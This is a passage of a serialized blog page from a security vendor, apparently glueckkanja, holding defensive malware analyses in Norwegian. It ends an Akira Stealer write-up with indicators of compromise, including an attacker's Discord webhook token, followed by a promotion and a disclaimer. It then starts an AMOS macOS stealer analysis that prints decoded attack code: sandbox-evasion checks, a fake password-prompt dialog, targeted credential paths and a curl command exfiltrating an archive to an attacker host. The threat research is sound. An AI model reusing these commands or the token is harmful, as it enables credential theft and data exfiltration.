r","5. Discord- og Telegram-identifikatorer",[526,12717,747],{},[1418,12719,4710,12721],{"className":12720,"style":11131},[11130],[1434,12722,12723,4710,12729,4710,12739,4710,12749],{},[1424,12724,4715,12725,4715,12727,4710],{},[1427,12726,12064],{"style":6328},[1427,12728,1432],{},[1424,12730,4715,12731,4715,12734,4710],{},[1439,12732,12733],{},"Discord webhook-ID",[1439,12735,12736],{},[579,12737,12738],{},"1226766972675428372",[1424,12740,4715,12741,4715,12744,4710],{},[1439,12742,12743],{},"Discord webhook-token",[1439,12745,12746],{},[579,12747,12748],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1424,12750,4715,12751,4715,12754,4710],{},[1439,12752,12753],{},"Telegram-ID",[1439,12755,12756],{},[579,12757,12758],{},"5035121855",[854,12760],{"className":12761},[857,858],[557,12763,12765],{"id":12764},"_14-tilbakeblikk-på-akira-stealer-hendelsen-styrk-forsvaret-ditt-med-glueckkanja-csoc","14. Tilbakeblikk på Akira Stealer-hendelsen: styrk forsvaret ditt med glueckkanja CSOC",[526,12767,563],{},[526,12769,12770],{},"Gjennom denne artikkelen har vi gått inn i den avanserte naturen til Akira-infostealeren, en trussel kjennetegnet av målrettet credential-tyveri, stillegående dataeksfiltrering og vedvarende metoder for å unngå tradisjonelt forsvar. Å forstå hvordan denne malwaren virker, hvilken risiko den utgjør og hvilke svakheter den utnytter, er avgjørende for å bygge en solid sikkerhetsstrategi.",[526,12772,12773],{},"Akira-infostealeren sikter seg spesifikt inn på sensitive data som påloggingsopplysninger, nettlesersesjoner, kryptovaluta-lommebøker, meldingstjenester og personlige eller virksomhetsinterne filer. De kalkulerte og presise metodene krever mer enn standard sikkerhetstiltak: de krever kontinuerlig overvåking, grundig forensisk analyse og proaktiv threat intelligence.",[526,12775,12776],{},"Hos glueckkanja CSOC bruker vi den dype tekniske kompetansen og de avanserte analysemulighetene våre til å komme lenger enn enkel deteksjon. Spesialistteamet vårt overvåker trusler i sanntid fra våre egne CSOC-servere, slik at trusler som Akira-infostealeren kan identifiseres umiddelbart, undersøkes grundig og nøytraliseres effektivt.",[526,12778,12779],{},"Men arbeidet vårt stopper ikke ved incident response. Hver hendelse vi oppdager, beriker kunnskapsbasen vår, styrker sikkerhetsnivået og sørger for at vi holder oss flere skritt foran fremtidige trusler. Med glueckkanja CSOC får du mer enn beskyttelse, du får en tilpasningsdyktig sikkerhetspartner som er forpliktet til robustheten din på lang sikt.",[526,12781,12782],{},"Ta neste steg i sikringen av organisasjonens digitale verdier.",[526,12784,12785],{},"Kontakt cybersikkerhetsekspertene i glueckkanja i dag, og la oss sikre fremtiden din proaktivt sammen.",[526,12787,12788],{},[568,12789,12790],{},"Styrk forsvaret ditt med glueckkanja CSOC.",[557,12792,12794],{"id":12793},"_15-sikkerhets-og-juridisk-ansvarsfraskrivelse-bruk-av-reell-malware-kode","15. Sikkerhets- og juridisk ansvarsfraskrivelse - bruk av reell malware-kode",[526,12796,563],{},[526,12798,12799],{},"Denne publikasjonen inneholder detaljert teknisk innsikt, inkludert kodeutdrag og gjennomganger av atferd hentet fra faktisk skadelig programvare som ble oppdaget under incident response og forensiske undersøkelser. Formålet med å dele denne informasjonen er utelukkende pedagogisk, og skal hjelpe profesjonelle forsvarere med å forstå, oppdage og håndtere reelle trusler mer effektivt. Vi publiserer dette i god tro og med ønske om å bidra til sikkerhetsmiljøet som helhet.",[526,12801,12802],{},"Det er viktig å merke seg at deler av koden som er gjengitt, stammer fra verktøysett til trusselaktører og fra malware-sampler i sirkulasjon. Disse fragmentene er ikke vår immaterielle eiendom, og de skal heller ikke anses som trygge, renset eller \"harmløse\" på noen måte. Vi fraråder uttrykkelig å gjengi eller ta slik kode i bruk operativt. Leseren må forstå at selv om materialet tjener forskning og bevisstgjøring, bærer det i seg en risikoprofil som ikke bør undervurderes.",[526,12804,12805],{},"Bare fagfolk med opplæring, som arbeider i lovlig autoriserte miljøer, for eksempel akkrediterte sikkerhetsteam, SOC-enheter, akademiske forskere eller malware-laber, bør befatte seg med teknikkene eller koden som beskrives. All eksperimentering må holdes innenfor isolerte systemer utenfor produksjon, og være i samsvar med gjeldende lover, interne retningslinjer og etiske standarder.",[526,12807,12808],{},"Vi gir ingen støtte eller validering for gjengitt kode eller atferd. Det finnes ingen garanti for nøyaktighet, relevans eller fullstendighet. Videre avviser vi uttrykkelig all bruk av dette innholdet til offensive formål, uautorisert red teaming, kommersiell malware-utvikling eller angrepstesting utenfor et rettslig definert omfang. Misbruk kan få rettslige følger. glueckkanja AG fraskriver seg alt ansvar for direkte eller indirekte skader som følger av bruk eller feiltolkning av dette innholdet.",[526,12810,12811],{},"Ved å lese videre eller vise til dette innholdet bekrefter du det ovennevnte og samtykker i ikke å misbruke, reprodusere eller anvende noen del av det i ulovlige eller uetiske sammenhenger. Er du i tvil, rådfør deg med juridisk avdeling, compliance eller personvernansvarlig før du går i gang med analyse av levende kode eller tilsvarende teknisk materiale.",[526,12813,12814],{},"Denne publikasjonen leveres \"as is\", uten garanti, støtte eller ansvar.",[12816,12817,12818],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":530,"searchDepth":531,"depth":531,"links":12820},[12821,12822,12823,12824,12835,12836,12837,12838,12839,12840,12841,12842,12844,12845,12846,12847,12848,12849,12850,12851,12852,12855,12863,12864,12865,12871,12889,12907,12908,12909,12910,12918,12925,12932,12941,12948,12949,12950,12951,12952,12953,12954,12955,12956,12957,12958,12959,12960,12961,12962,12963],{"id":743,"depth":531,"text":744},{"id":793,"depth":531,"text":794},{"id":814,"depth":531,"text":815},{"id":870,"depth":531,"text":871,"children":12825},[12826,12827,12829,12831,12833],{"id":891,"depth":2094,"text":892},{"id":944,"depth":2094,"text":12828},"2.1.2 Updater.exe - Initial loader",{"id":1050,"depth":2094,"text":12830},"2.1.3 main.exe - Obfuskert NodeJS-payloadbeholder",{"id":1169,"depth":2094,"text":12832},"2.1.4 cmd.exe og PowerShell-relé",{"id":1279,"depth":2094,"text":12834},"2.1.5 python.exe med astor.py",{"id":1413,"depth":531,"text":1414},{"id":1502,"depth":531,"text":1503},{"id":1580,"depth":531,"text":1581},{"id":1663,"depth":531,"text":1664},{"id":1733,"depth":531,"text":1734},{"id":1813,"depth":531,"text":1814},{"id":1922,"depth":531,"text":1923},{"id":2039,"depth":531,"text":12843},"4.2 AMSI Bypass-teknikk (klasse: gofor4msi)",{"id":2224,"depth":531,"text":2225},{"id":2343,"depth":531,"text":2344},{"id":2442,"depth":531,"text":2443},{"id":2538,"depth":531,"text":2539},{"id":2613,"depth":531,"text":2614},{"id":2684,"depth":531,"text":2685},{"id":2744,"depth":531,"text":2745},{"id":2884,"depth":531,"text":2885},{"id":2945,"depth":531,"text":2946,"children":12853},[12854],{"id":2957,"depth":2094,"text":2958},{"id":3311,"depth":531,"text":3312,"children":12856},[12857,12858,12859,12860,12861,12862],{"id":3320,"depth":2094,"text":3321},{"id":3434,"depth":2094,"text":3435},{"id":3632,"depth":2094,"text":3633},{"id":3924,"depth":2094,"text":3925},{"id":3999,"depth":2094,"text":4000},{"id":4161,"depth":2094,"text":4162},{"id":4396,"depth":531,"text":4397},{"id":4442,"depth":531,"text":4443},{"id":4454,"depth":531,"text":4455,"children":12866},[12867,12868,12869,12870],{"id":4460,"depth":2094,"text":4461},{"id":4504,"depth":2094,"text":4505},{"id":4566,"depth":2094,"text":4567},{"id":4601,"depth":2094,"text":4602},{"id":4638,"depth":531,"text":12872,"children":12873},"7.3 Anti-analyse / unnvikelse (klasse: VmProtect)",[12874,12875,12876,12877,12879,12880,12881,12882,12883,12884,12885,12886,12887,12888],{"id":4647,"depth":2094,"text":4648},{"id":4663,"depth":2094,"text":4664},{"id":4704,"depth":2094,"text":4705},{"id":4793,"depth":2094,"text":12878},"7.3.4 VmProtect-arkitektur",{"id":5145,"depth":2094,"text":5146},{"id":5211,"depth":2094,"text":5212},{"id":5280,"depth":2094,"text":5281},{"id":5344,"depth":2094,"text":5345},{"id":5412,"depth":2094,"text":5413},{"id":5469,"depth":2094,"text":5470},{"id":5567,"depth":2094,"text":5568},{"id":5637,"depth":2094,"text":5638},{"id":6093,"depth":2094,"text":6094},{"id":6140,"depth":2094,"text":6141},{"id":6154,"depth":531,"text":6155,"children":12890},[12891,12892,12894,12896,12898,12900,12902,12904,12906],{"id":6312,"depth":2094,"text":6313},{"id":6420,"depth":2094,"text":12893},"7.4.2 Passorddumper (Chromium.GetPasswords)",{"id":6542,"depth":2094,"text":12895},"7.4.3 Kredittkortdumper (Chromium.GetCreditCards)",{"id":6623,"depth":2094,"text":12897},"7.4.4 Cookie-dumper (Chromium.GetCookies)",{"id":6702,"depth":2094,"text":12899},"7.4.5 Google-sesjonsdumper (Chromium.dump_google_sessions)",{"id":6828,"depth":2094,"text":12901},"7.4.6 Historikkdumper (Chromium.GetHistory)",{"id":6899,"depth":2094,"text":12903},"7.4.7 Autofyll-dumper (Chromium.GetAutofills)",{"id":6961,"depth":2094,"text":12905},"7.4.8 Innsamler for Firefox-profiler (GeckoDriver & grabFirefoxProfiles)",{"id":7038,"depth":2094,"text":7039},{"id":7077,"depth":531,"text":7078},{"id":7409,"depth":531,"text":7410},{"id":7523,"depth":531,"text":7524},{"id":7852,"depth":531,"text":7853,"children":12911},[12912,12913,12914,12915,12916,12917],{"id":7861,"depth":2094,"text":7862},{"id":8013,"depth":2094,"text":8014},{"id":8119,"depth":2094,"text":8120},{"id":8244,"depth":2094,"text":8245},{"id":8312,"depth":2094,"text":8313},{"id":8437,"depth":2094,"text":8438},{"id":8542,"depth":531,"text":12919,"children":12920},"7.9. Tyveri av Discord- og Telegram-tokens (klasse: Discord)",[12921,12922,12923,12924],{"id":8555,"depth":2094,"text":8556},{"id":8686,"depth":2094,"text":8687},{"id":8931,"depth":2094,"text":8932},{"id":9013,"depth":2094,"text":9014},{"id":9083,"depth":531,"text":9084,"children":12926},[12927,12929,12930,12931],{"id":9096,"depth":2094,"text":12928},"7.10.1 Initialisering av Data-klassen",{"id":9193,"depth":2094,"text":9194},{"id":9313,"depth":2094,"text":9314},{"id":9378,"depth":2094,"text":9379},{"id":9455,"depth":531,"text":12933,"children":12934},"7.11 Filinnsamler (klasse: Utils.steal_files)",[12935,12936,12937,12938,12939,12940],{"id":9467,"depth":2094,"text":9468},{"id":9538,"depth":2094,"text":9539},{"id":9600,"depth":2094,"text":9601},{"id":9633,"depth":2094,"text":9634},{"id":9662,"depth":2094,"text":9663},{"id":9841,"depth":2094,"text":9842},{"id":9951,"depth":531,"text":9952,"children":12942},[12943,12944,12945,12946,12947],{"id":9960,"depth":2094,"text":9961},{"id":9975,"depth":2094,"text":9976},{"id":10054,"depth":2094,"text":10055},{"id":10203,"depth":2094,"text":10204},{"id":10435,"depth":2094,"text":10436},{"id":10788,"depth":531,"text":10789},{"id":10819,"depth":531,"text":10820},{"id":10943,"depth":531,"text":10944},{"id":11056,"depth":531,"text":11057},{"id":11107,"depth":531,"text":11108},{"id":11286,"depth":531,"text":11287},{"id":11336,"depth":531,"text":11337},{"id":11380,"depth":531,"text":11381},{"id":11420,"depth":531,"text":11421},{"id":11510,"depth":531,"text":11511},{"id":11527,"depth":531,"text":11528},{"id":12050,"depth":531,"text":12051},{"id":12356,"depth":531,"text":12357},{"id":12477,"depth":531,"text":12478},{"id":12541,"depth":531,"text":12542},{"id":12714,"depth":531,"text":12715},"post",{"lang":12966,"seoTitle":12967,"titleClass":12968,"date":12969,"categories":12970,"blogtitlepic":12971,"socialimg":12972,"customExcerpt":12973,"keywords":12974,"maxContent":325,"asideNav":12975,"footer":13024,"contactInContent":13025,"published":325},"no","Akira Stealer: Teknisk analyse av en modulær infostealer","h2-font-size","2025-06-16",[235],"head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Det begynte med én enkelt Defender-alert i Microsoft 365. Ingen malware, ingen signaturer, ingen panikk. Bare en hvisking i støyen. Det vi fant, var flere måneder med credential-tyveri, kirurgisk, stille og nesten usynlig. Slik gjorde vårt CSOC et stille signal om til en fullskala respons. Og ga kunden kontrollen tilbake før de selv visste at den var borte.","Microsoft 365 Security, deteksjon av credential-tyveri, Incident Response, Microsoft Defender, Managed Security Services, cloud security, trusseldeteksjon, deteksjon av cyberangrep, CSOC, Advanced Threat Protection",{"menuItems":12976},[12977,12979,12982,12985,12988,12991,12994,12997,13000,13003,13006,13009,13012,13015,13018,13021],{"href":12978,"text":560},"#prolog",{"href":12980,"text":12981},"#_1-opprinnelig-hendelse-og-oppsummert-triage","Opprinnelig hendelse og oppsummert triage",{"href":12983,"text":12984},"#_2-malware-arkitektur-og-oversikt-over-kjøringskjeden","Malware-arkitektur og oversikt over kjøringskjeden",{"href":12986,"text":12987},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12989,"text":12990},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12992,"text":12993},"#_5-deep-dive-mainexe-electron-basert-malware-loader","Deep Dive: main.exe",{"href":12995,"text":12996},"#_6-deep-dive-inputjs-den-krypterte-javascript-payload-loaderen","Deep Dive: input.js",{"href":12998,"text":12999},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":13001,"text":13002},"#_8-sirkulær-kjøringskjede-en-selvhelende-løkke","Sirkulær kjøringskjede",{"href":13004,"text":13005},"#_9-blockchain-sporing-og-analyse","Blockchain-sporing og analyse",{"href":13007,"text":13008},"#_10-inne-i-akira-økosystemet-kommersialisert-infrastruktur-for-cyberkriminalitet","Inne i Akira-økosystemet",{"href":13010,"text":13011},"#_11-akira-stealer-quickcheck-berørte-filer","Akira Stealer QuickCheck berørte filer",{"href":13013,"text":13014},"#_12-utover-respons-slik-gjør-glueckkanja-csoc-hendelser-om-til-innsikt","Slik gjør glueckkanja CSOC hendelser om til innsikt",{"href":13016,"text":13017},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":13019,"text":13020},"#_14-tilbakeblikk-på-akira-stealer-hendelsen-styrk-forsvaret-ditt-med-glueckkanja-csoc","Tilbakeblikk på Akira Stealer-hendelsen",{"href":13022,"text":13023},"#_15-sikkerhets-og-juridisk-ansvarsfraskrivelse-bruk-av-reell-malware-kode","Sikkerhets- og juridisk ansvarsfraskrivelse",{"noMargin":325},{"quote":484,"infos":13026},{"bgColor":13027,"color":13028,"boxBgColor":13029,"boxColor":13030,"headline":13031,"subline":13032,"level":741,"textStyling":13033,"flush":13034,"person":13035,"form":13047},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Kontakt oss","Som en ledende Microsoft Security MSSP beskytter vi virksomheter mot cybertrusler hver dag. La oss snakke sammen og styrke cyberforsvaret ditt.","text-light","justify-content-end",{"image":13036,"cloudinary":325,"alt":13037,"name":13037,"detailsHeader":13038,"details":13039},"/people/people-pam-team.png","Project & Account Management","Vi ser fram til å høre fra deg.",[13040,13044],{"text":492,"href":13041,"details":13042,"icon":13043},"tel:+49 69 4005520","Ring nå","site/phone",{"text":493,"href":13045,"icon":13046},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13048,"cta":13049,"method":12964,"action":13051,"fields":13052},"Send inn",{"skin":13050},"primary on-surface","/send",[13053,13057,13061,13064,13068,13073,13076,13079],{"type":13054,"id":13055,"value":13056},"hidden","_next","successful",{"label":13058,"type":621,"id":13059,"required":325,"requiredMsg":13060},"Navn*","name","Vennligst oppgi navnet ditt.",{"label":13062,"type":621,"id":403,"required":325,"requiredMsg":13063},"Bedrift*","Vennligst oppgi bedriften din.",{"label":13065,"type":13066,"id":13066,"required":325,"requiredMsg":13067},"E-postadresse*","email","Vennligst oppgi e-postadressen din.",{"label":13069,"type":13070,"id":13071,"required":325,"requiredMsg":13072},"Dataene dine lagres hos oss for å behandle og svare på henvendelsen din. Mer informasjon om personvern finner du i \u003Ca href=\"/no/privacy\">personvernerklæringen vår\u003C/a>.","checkbox","dataprotection","Vennligst bekreft",{"type":13054,"id":13074,"value":13075},"_subject","Form: Blog MSSP 2025 | NO",{"type":13054,"id":13077,"value":13078},"inbox_key","gkgab-contact-form",{"type":13054,"id":13080},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":552,"description":563},"posts/2025-06-16-quiet-breach",[13085,13086,13087,13088],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","01jMpFBsyPPXsxo0SMLr4RretMB0Bwx4GN7YEL7ngC8",{"id":13091,"title":13092,"author":13093,"body":13094,"cta":494,"description":13098,"eventid":494,"extension":533,"hideInRecent":484,"layout":12964,"meta":15179,"moment":15181,"navigation":325,"path":15237,"seo":15238,"stem":15239,"tags":15240,"webcast":484,"__hash__":15244},"content_no/posts/2026-04-10-incident-to-intelligence.md","Anatomien til en ukjent AMOS Stealer: Fra alert til immunitet på timer",[521],{"type":523,"value":13095,"toc":15143},[13096,13099,13102,13105,13108,13112,13114,13117,13124,13126,13130,13132,13135,13144,13147,13150,13158,13161,13165,13167,13170,13189,13192,13200,13203,13211,13218,13222,13224,13227,13235,13250,13254,13256,13259,13263,13265,13273,13277,13279,13287,13291,13293,13296,13300,13302,13305,13313,13317,13319,13326,13329,13418,13421,13451,13453,13457,13459,13465,13468,13472,13474,13547,13551,13553,13564,13571,13642,13653,13660,13664,13666,13725,13729,13731,13738,13740,13744,13746,13753,13779,13964,13967,13975,13986,13989,13997,14011,14024,14026,14030,14032,14049,14071,14260,14263,14271,14274,14277,14279,14283,14285,14288,14360,14363,14382,14459,14462,14464,14468,14470,14473,14480,14535,14538,14546,14549,14551,14555,14557,14564,14575,14623,14634,14673,14682,14697,14700,14702,14706,14708,14715,14718,14726,14729,14737,14751,14754,14756,14760,14762,14772,14776,14778,14796,14804,14818,14838,14842,14844,14847,14855,14858,14866,14880,14884,14886,14889,14897,14915,14920,14924,14926,14934,14940,14947,14951,14953,14961,14965,14967,14970,14978,14981,14985,14987,14995,14999,15001,15009,15013,15015,15023,15027,15029,15037,15054,15059,15061,15065,15067,15074,15091,15094,15107,15109,15113,15115,15118,15121,15124,15140],[526,13097,13098],{},"Når en alert utløses i vårt SOC, begynner klokken å gå: ikke bare for den berørte kunden, men for alle organisasjoner under vår beskyttelse. Det farligste øyeblikket i dagens trusselbilde er Intelligence Gap, altså tidsvinduet mellom første gang en ny malware-variant tas i bruk og den dagen bransjen får vite om den.",[526,13100,13101],{},"For selvstendige security-team betyr dette gapet ekstrem sårbarhet: du venter på en vendor-oppdatering eller en signaturfeed som ennå ikke er skrevet. For våre kunder lukker vår internt utviklede Shared Threat Intelligence akkurat dette vinduet.",[526,13103,13104],{},"Dette innlegget er en teknisk gjennomgang av hvordan vi plukket fra hverandre en hittil udokumentert AMOS-variant (Atomic macOS Stealer), og hvordan ett enkelt kompromittert endpoint innen få timer ble til dekkende deteksjon og blokkering på tvers av alle kundemiljøene våre.",[13106,13107],"hr",{},[557,13109,13111],{"id":13110},"hendelsen-et-ukjent-ioc-scenario","Hendelsen: Et ukjent IOC-scenario",[526,13113,563],{},[526,13115,13116],{},"Alerten kom inn 12. mars 2026 klokken 06:25 lokal tid: et macOS-endpoint var kompromittert. Da vårt SOC begynte å analysere artefaktene, sto vi i en situasjon enhver threat analyst frykter: ingen kjente filhasher, ingen C2-IP-adresser, ingen meningsfulle atferdssignaturer i offentlige databaser.",[526,13118,13119,13120,13123],{},"Den fullstendige angrepsarkitekturen viste seg først i dybdeanalysen. Infeksjonen bygde på en 15,7 MB stor macOS Universal Binary (x86_64 og ARM64) lagt ned på ",[579,13121,13122],{},"/private/tmp/helper",". Samplet var ikke direkte tilgjengelig på det kompromitterte systemet; teamet vårt måtte rekonstruere infeksjonskjeden og simulere den opprinnelige leveringsforespørselen for å hente binaryen manuelt fra angriperens infrastruktur.",[13106,13125],{},[741,13127,13129],{"id":13128},"stage-1-sandbox-sjekker","Stage 1: Sandbox-sjekker",[526,13131,747],{},[526,13133,13134],{},"Før selve stealeren ble kjørt på enheten, hadde en AppleScript-payload allerede kjørt. Hver eneste streng i den, hver filsti, hver shell-kommando og hver URL var kodet gjennom tre egendefinerte aritmetiske funksjoner:",[854,13136,13138],{"style":13137},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[616,13139,13142],{"className":13140,"code":13141,"language":621},[619],"on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n",[579,13143,13141],{"__ignoreMap":530},[526,13145,13146],{},"Ikke én streng ligger i klartekst. Det som ved første øyekast så ut som meningsløse heltalls-arrays, viste seg etter reversering av kodingsskjemaet å være et fullstendig og operativt rammeverk for datatyveri og eksfiltrering.",[526,13148,13149],{},"Vi dekodet hvert array i skriptet statisk. Resultatene var utvetydige:",[854,13151,13152],{"style":13137},[616,13153,13156],{"className":13154,"code":13155,"language":621},[619],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F «file=@/tmp/out.zip»\n",[579,13157,13155],{"__ignoreMap":530},[526,13159,13160],{},"Nedlastings-URL-en imiterer bevisst en legitim n8n-workflow-automation-oppdatering, et verktøy som er utbredt blant utviklere og DevOps-ingeniører. Det er ingen tilfeldighet: kampanjen sikter seg inn på teknisk kompetente brukere, ikke vanlige sluttbrukere som installerer crackede programvarer.",[741,13162,13164],{"id":13163},"anti-sandbox-sjekken","Anti-sandbox-sjekken",[526,13166,747],{},[526,13168,13169],{},"Før nedlastingen kjørte skriptet en dedikert rutine for å oppdage VM og sandbox. Fra hendelsesartefaktene kunne vi i tillegg gjenopprette et frittstående anti-sandbox-skript:",[854,13171,13172],{"style":13137},[616,13173,13177],{"className":13174,"code":13175,"language":13176,"meta":530,"style":530},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[579,13178,13179,13184],{"__ignoreMap":530},[1710,13180,13181],{"class":1712,"line":1713},[1710,13182,13183],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[1710,13185,13186],{"class":1712,"line":531},[1710,13187,13188],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[526,13190,13191],{},"Resultatene sjekket skriptet så mot to lister. Den første lette etter virtualiseringsmarkører i minnedataene:",[854,13193,13194],{"style":13137},[616,13195,13198],{"className":13196,"code":13197,"language":621},[619],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[579,13199,13197],{"__ignoreMap":530},[526,13201,13202],{},"Den andre sjekket maskinvareidentifikatorer mot en liste over kjente serienumre for analysemaskiner:",[854,13204,13205],{"style":13137},[616,13206,13209],{"className":13207,"code":13208,"language":621},[619],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[579,13210,13208],{"__ignoreMap":530},[526,13212,13213,13214,13217],{},"Ved treff: ",[579,13215,13216],{},"exit 100",", fullstendig avbrudd. På en ekte MacBook Pro med Apple Silicon gikk alle sjekker igjennom uten en lyd, og kjøringen fortsatte. En sandbox-evasjonsteknikk på profesjonelt nivå, som ble utført før én eneste byte av binaryen var lastet ned.",[741,13219,13221],{"id":13220},"enkelt-men-effektivt-den-falske-passordforespørselen","Enkelt, men effektivt: Den falske passordforespørselen",[526,13223,747],{},[526,13225,13226],{},"Det dekodede skriptet inneholdt også dialogen for privilegieopptrapping via social engineering:",[854,13228,13229],{"style":13137},[616,13230,13233],{"className":13231,"code":13232,"language":621},[619],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[579,13234,13232],{"__ignoreMap":530},[526,13236,13237,13238,13241,13242,13245,13246,13249],{},"Dialogen vises via et standard macOS-",[579,13239,13240],{},"display dialog","-kall med ",[579,13243,13244],{},"with hidden answer"," og kan visuelt ikke skilles fra en ekte macOS-autorisasjonsforespørsel. Passordet som ble tastet inn brukte skriptet til å kalle ",[579,13247,13248],{},"login -pf \u003Cusername>"," og heve prosessen til root-rettigheter, før binaryen i det hele tatt ble kjørt.",[741,13251,13253],{"id":13252},"hva-skriptet-samlet-inn","Hva skriptet samlet inn",[526,13255,747],{},[526,13257,13258],{},"Så snart binaryen var kjørt, fortsatte osascript sitt eget innsamlingsløp og hentet ut hver eneste kategori av sensitive systemdata. Vi dekodet alle innsamlingsstier og mål:",[889,13260,13262],{"id":13261},"nettleserdata-alle-chromium-nettlesere-safari","Nettleserdata (alle Chromium-nettlesere + Safari):",[526,13264,895],{},[854,13266,13267],{"style":13137},[616,13268,13271],{"className":13269,"code":13270,"language":621},[619],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[579,13272,13270],{"__ignoreMap":530},[889,13274,13276],{"id":13275},"macos-keychain","macOS Keychain:",[526,13278,895],{},[854,13280,13281],{"style":13137},[616,13282,13285],{"className":13283,"code":13284,"language":621},[619],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[579,13286,13284],{"__ignoreMap":530},[889,13288,13290],{"id":13289},"apple-notes","Apple Notes",[526,13292,895],{},[526,13294,13295],{},"Fullstendig innhold eksportert som HTML med teller-header",[889,13297,13299],{"id":13298},"lokale-filer","Lokale filer",[526,13301,895],{},[526,13303,13304],{},"Skrivebord og dokumenter, opptil 30 MB, med fokus på:",[854,13306,13307],{"style":13137},[616,13308,13311],{"className":13309,"code":13310,"language":621},[619],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[579,13312,13310],{"__ignoreMap":530},[889,13314,13316],{"id":13315},"kryptovaluta-lommebøker","Kryptovaluta-lommebøker",[526,13318,895],{},[526,13320,13321,13322,13325],{},"En hardkodet liste på ",[568,13323,13324],{},"mer enn 200 nettleser-extension-ID-er",", som dekker alle vanlige wallets, deriblant MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.",[526,13327,13328],{},"Etter innsamlingen ble alle data samlet i en tilfeldig navngitt midlertidig mappe og eksfiltrert:",[854,13330,13331],{"style":13137},[616,13332,13334],{"className":2786,"code":13333,"language":2788,"meta":530,"style":530},"ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n",[579,13335,13336,13365,13391,13407],{"__ignoreMap":530},[1710,13337,13338,13341,13344,13347,13350,13353,13356,13359,13362],{"class":1712,"line":1713},[1710,13339,13340],{"class":2795},"ditto",[1710,13342,13343],{"class":2803}," -c",[1710,13345,13346],{"class":2803}," -k",[1710,13348,13349],{"class":2803}," --sequesterRsrc",[1710,13351,13352],{"class":3020}," \u003C",[1710,13354,13355],{"class":2799},"staging_di",[1710,13357,13358],{"class":3030},"r",[1710,13360,13361],{"class":3020},">",[1710,13363,13364],{"class":2799}," /tmp/out.zip\n",[1710,13366,13367,13370,13373,13376,13379,13382,13385,13388],{"class":1712,"line":531},[1710,13368,13369],{"class":2795},"curl",[1710,13371,13372],{"class":2803}," --connect-timeout",[1710,13374,13375],{"class":2803}," 120",[1710,13377,13378],{"class":2803}," --max-time",[1710,13380,13381],{"class":2803}," 300",[1710,13383,13384],{"class":2803}," -X",[1710,13386,13387],{"class":2799}," POST",[1710,13389,13390],{"class":2803}," \\\n",[1710,13392,13393,13396,13399,13402,13405],{"class":1712,"line":2094},[1710,13394,13395],{"class":2803},"  